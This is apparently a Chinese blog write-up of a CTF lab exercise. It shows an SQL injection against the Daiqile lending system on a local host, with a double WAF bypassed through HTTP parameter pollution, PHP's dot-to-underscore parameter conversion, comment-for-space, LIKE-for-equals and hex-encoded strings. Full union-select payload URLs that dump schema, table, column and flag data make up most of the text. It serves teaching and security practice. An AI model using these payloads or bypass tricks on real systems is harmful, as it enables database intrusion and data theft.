• 贷齐乐系统最新版SQL注入(无需登录绕过WAF可union select跨表查询)


    一、环境

    已上传资源(daiqile)

    二、代码解释

    1.1Request

    不管get请求还是post请求都可以接收到

    1.2过滤的还挺多

     1.3第二个WAF把数据分为两个了一个Key一个value,全是explode的功劳

    1.4submit是if进入的前提

     很明显走进来了

    1.5那我们在这个前提下跟着传入id(结果如下)

     

    检测一下字段:

    http://127.0.0.1/daiqile/index.php?submit=aaaa&i_d=1%203--+

     

    单引号闭合呢

     

    下断看单引号走到哪里去了

    好很明显被过滤掉了

    而且这些字符被转为了中文,daabase(),information()等等括号都被废弃了

     

    好了双重WAF很烦,第一重把特殊字符搞掉了,第二重把括号给咱转中文了

     那很难搞啊,我们想想有没有一种可能性,第一次WAF认为我是正常语句,第二个WAF可以覆盖,完蛋!!很难绕啊,这怎么可能,但是PHP有一个小特性,我们却可以利用,废话不多说看图

    我的后端:

    前端传两个id看一下 ,很明显PHP取的是后者

    这点也被称之为hpp全局污染

     

    取的第二个到底有什么用呢??哈哈哈大用可来了看好了

    我们假设这样,我们有两个字段id=1' union select 1,2,3&id=2(恶意字符) ,后面我们是好好输入的,取第二个参数,所以第一个WAF过了,如果第二个WAF取的是我第一个参数,那不就好办了

    再看个PHP特性,php可以将. ,转成下划线

    很明显我前端传入

    http://127.0.0.1/daiqile/index.php?submit=aaaa&i_d=1%27&i.d=2

    不报错了 

    在我后端看来我传的就是

    i_d=1'&i_d=2222

     第一次进去:把我id放这里

    第二次进去:

    好了php特性传入的是i_d=1111'&i.d=22222

    完美践行了我上面所说的思路,WAF检测的是2,而实际插入的数据库却是1 

    ok实践插入语句吧(注意空格替换为/**/,前面有拦截)

    http://127.0.0.1/daiqile/index.php?submit=&i_d=-1/**/union/**/select/**/1,2,3,4&i.d=2

    很明显注入点出现了,是2 

    注入:不知道库名

    http://127.0.0.1/daiqile/index.php?submit=&i_d=-1/**/union/**/select/**/1,table_name,3,4/**/from%20information_schema.tables/**/where/**/table_schema=%27%27&i.d=2

    三、找库名

     information()下依然有库名的表,schemat

    来库名

    那我们刚才的单引号中就可以填东西了,好了出数据,但是出的是第一个库,在实际ctf比赛中,我们已经成功了,那接下来一个一个试呗

    http://127.0.0.1/daiqile/index.php?submit=&i_d=-1/**/union/**/select/**/1,SCHEMA_NAME,3,4/**/from/**/information_schema.schemata/**/limit/**/0,1&i.d=222

     好了,尝试成功:(很明显爆库了)

     四、库名出来注入表名

    http://127.0.0.1/daiqile/index.php?submit=&i_d=-1/**/union/**/select/**/1,table_name,3,4/**/from/**/information_schema.tables/**/where/**/table_schema=%27ctf%27/**/limit/**/12,1&i.d=222

    不出数据为什么呢???等号被截断了(等号分割),单引号在前端是正常的但是传入后端会url编码为%27数据库不认识,那我们就需要替换了

     解决方法:使用like,单引号使用16进制

    五、出表

    http://127.0.0.1/daiqile/index.php?submit=&i_d=-1/**/union/**/select/**/1,table_name,3,4/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/0x637466/**/limit/**/0,1&i.d=222

     

    六、查字段

    很明显,id。name,pass,flag

    http://127.0.0.1/daiqile/index.php?submit=&i_d=-1/**/union/**/select/**/1,column_name,3,4/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273/**/limit/**/0,10&i.d=222

    七、查flag出数据:

    http://127.0.0.1/daiqile/index.php?submit=aaa&i_d=-1/**/union/**/select/**/1,flag,3,4/**/from/**/ctf.users&i.d=123

    八、 总结

    单引号过滤16进制

    等号过滤可以用like

    空格绕过可以用注释符 

     

  • 相关阅读:
    Object静态方法
    JAVA计算机毕业设计在线多媒体学习社区的设计与实现Mybatis+源码+数据库+lw文档+系统+调试部署
    java版工程管理系统Spring Cloud+Spring Boot+Mybatis实现工程管理系统源码
    如何用H5实现好玩的2048小游戏
    【LLM】主流大模型体验(文心一言 科大讯飞 字节豆包 百川 阿里通义千问 商汤商量)
    格物云设备接入-MQTT方式
    nginx反向代理IIS实现80默认端口,不需要输入端口访问
    AI大模型低成本快速定制法宝:RAG和向量数据库
    Python入门 函数 基础入门篇
    【密码学】Java实现DH函数时出现“Unsupported secret key algorithm: AES“错误
  • 原文地址:https://blog.csdn.net/m0_68976043/article/details/136223479